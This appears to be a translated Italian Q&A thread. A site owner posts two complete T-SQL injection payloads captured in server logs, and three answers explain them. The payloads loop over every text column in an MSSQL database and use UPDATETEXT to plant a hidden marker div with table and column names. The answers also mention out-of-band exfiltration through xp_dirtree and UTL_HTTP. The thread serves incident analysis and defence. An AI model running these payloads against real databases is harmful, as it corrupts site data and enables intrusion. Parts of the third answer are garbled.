In che modo un'iniezione SQL inietta HTML?

2

Ho scoperto due tentativi di iniezione SQL nei registri del mio server web:

declare @c cursor;
set @c=cursor for select TABLE_NAME,c.COLUMN_NAME FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS c ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%text';declare @a varchar(99);
declare @s varchar(99);
declare @f varchar(99);
declare @q varchar(8000);
open @c;fetch next from @c into @a,@s;
while @@FETCH_STATUS=0 
begin set @q='declare @f binary(16);
declare @x cursor;
set @x=cursor for SELECT TEXTPTR(['+@s+']) FROM ['+@a+'] where not ['+@s+'] like ''%edf40wrjww2%'';
open @x;
fetch next from @x into @f;
while @@FETCH_STATUS=0 
begin declare @s varchar(8000);
set @s=''UPDATETEXT ['+@a+'].['+@s+'] ''+master.dbo.fn_varbintohexstr(@f)+'' 0 0 ''''''+char(60)+''div style="display:none"''+char(62)+''edf40wrjww2'+@a+':'+@s+'''+char(60)+char(47)+''div''+char(62)+'''''';'';exec(@s);
fetch next from @x into @f;
end;close @x';
exec(@q);
fetch next from @c into @a,@s;end;close @c--
 
declare @c cursor;
set @c=cursor for select TABLE_NAME,c.COLUMN_NAME FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS c ON o.NAME=TABLE_NAME WHERE(indid=0 or indid=1) and DATA_TYPE like '%text';
declare @a varchar(99);
declare @s varchar(99);
declare @f varchar(99);
declare @q varchar(8000);
open @c;
fetch next from @c into @a,@s;
while @@FETCH_STATUS=0 begin set @q='declare @l int;set @l=44+len('''+@s+''')+len('''+@a+''');declare @f binary(16);
declare @x cursor;
set @x=cursor for SELECT TEXTPTR(['+@s+']) FROM ['+@a+'] where ['+@s+'] like ' '%edf40wrjww2%'';
open @x;
fetch next from @x into @f;
while @@FETCH_STATUS=0 begin declare @s varchar(8000);
set @s=''UPDATETEXT ['+@a+'].['+@s+'] ''+master.dbo.fn_varbintohexstr(@f)+'' 0 ''+cast(@l as varchar)+'' '''''''''';exec(@s);fetch next from @x into @f;end;close @x'; 
exec(@q);
fetch next from @c into @a,@s;

end;
close @c--

Questo è il modo in cui immagino che l'attacco funzioni: il primo tentativo tenta di iniettare l'elemento <div> nel codice HTML delle pagine Web con il codice di monitoraggio. Poi, un utente malintenzionato potrebbe facilmente cercare i siti Web infetti. Il secondo tentativo cerca il codice nel DB e quindi tenta di estrarre informazioni da esso (?).

Ho anche cercato sul web questo codice e sembra che ci siano un sacco di siti Web infetti (circa 200, principalmente cinesi) e potresti vedere il "codice breadcrumb" nei loro codici sorgente.

Le mie domande sono:

  1. Se la prima iniezione inietta il codice nel DB, in che modo il codice HTML "viaggia" dal DB al codice sorgente HTML effettivo?
  2. Che cosa sta tentando di fare esattamente l'attaccante con il secondo tentativo? Aggiungi valori riga / colonna ai campi infetti con UPDATETEXT e estrai informazioni in questo modo?
posta Gabrielius 19.01.2018 - 09:35
fonte

3 risposte

1

Clever. Credo che l'idea sia che tenta di eseguire iniezioni SQL contro pagine Web indirizzate a SQL Server. L'idea è che le iniezioni SQL di successo possano essere scoperte determinando se si propagano alle pagine web. Tutti i dati / campi ecc. Che sono sfruttati da un'applicazione o da una pagina web mostreranno ora la stringa univoca. Probabilmente cercheranno la stringa immediatamente (riflessa), oltre a eseguire la scansione dell'applicazione o del sito in seguito (iniezioni SQL memorizzate). Si può persino sfruttare il tuo motore di ricerca preferito per trovarli (come hai scoperto). Gli scanner web commerciali utilizzano una tecnica simile per etichettare le iniezioni.

Il primo script aggiorna tutti i campi nel DB con una stringa univoca (edf40wrjww2) avvolta da un codice HTML. Il secondo script esegue tutti i campi aggiornati dal primo script e aggiunge informazioni specifiche sulla tabella e sulla colonna che sono state compromesse. Non sei sicuro del motivo per cui è diviso in due script: potrebbe essere la riduzione della lunghezza dell'iniezione o il fatto che la lunghezza della colonna possa almeno adattarsi al tag.

Se usi SQL Server potresti voler controllare il tuo DB per questa stringa.

    
risposta data 20.01.2018 - 05:17
fonte
1
  1. Lo script scrive il <div> taggato tablename: fieldname in un campo di testo contenente i dati che spera vengano visualizzati nella pagina. Quando il sito esegue il rendering della pagina, sta estraendo il testo dal database e inserendolo nella pagina da visualizzare. Il tag div è lì per nasconderlo; ma non tutti gli elementi HTML visualizzati possono contenere un tag div e questo è il motivo per cui potresti vedere il tag div nel titolo di un sito.

  2. Penso che il primo script stia tentando di taggare qualsiasi campo opportunamente non infetto che possa essere usato per estrarre il testo (un passaggio di ricognizione). Il secondo sembra che riporta il nome esatto del tablename: fieldname contenente il testo inserito. Oppure è possibile che il primo script non stia facendo esattamente ciò che l'hacker desiderava, e lo ha ottimizzato e fatto un secondo tentativo.

risposta data 20.01.2018 - 17:32
fonte
1

L'utente malintenzionato sta tentando di eseguire iniezioni SQL fuori banda che sono generalmente possibili su MS SQL Server. Le tecniche SQLi fuori banda si baserebbero sulla capacità del server di database di effettuare richieste DNS o HTTP per fornire dati a un utente malintenzionato. Questo è il caso del comando xp_dirtree di Microsoft SQL Server, che può essere utilizzato per fare richieste DNS a un server controllato da un utente malintenzionato, così come il pacchetto UTL_HTTP del database Oracle, che può essere utilizzato per inviare richieste HTTP da SQL e PL / SQL a un server controllato da un utente malintenzionato.

Pochi siti di Taiwan e amp; quelle applicazioni che sono altamente dipendenti da MS SQL Server sono vulnerabili a Inferential & Out Of Band SQL Injection se Inferential non funziona.

PereseguireunatracciaSQLInjectionfuoribanda,unutentemalintenzionatodovrebbedipenderecompletamentedalpingodallarichiestaDNS&iniettandointalmodoipayloadcomeseipayloadavesseroilrisultatosucanalidellabandcomeun Collaborator Server .

Ci sono raramente articoli su tecniche di MySQL Out Of band, ma eccone uno: link

Per rispondere alle tue domande:

  1. Non crea prove per estrarre le informazioni tramite rendering, se ciò fosse possibile, l'autore dell'attacco potrebbe non aver fatto un altro tentativo. In caso di casi inferenziali o basati sull'errore - il modo funziona! Ma quegli esperimenti fallirono e questo è il motivo per cui l'hacker avrebbe dovuto eseguire SQL Injection fuori banda.
  2. L'autore dell'attacco sta tentando di eseguire l'iterazione fino a quando tutti i dettagli della tabella vengono estratti.
risposta data 20.01.2018 - 19:58
fonte

Leggi altre domande sui tag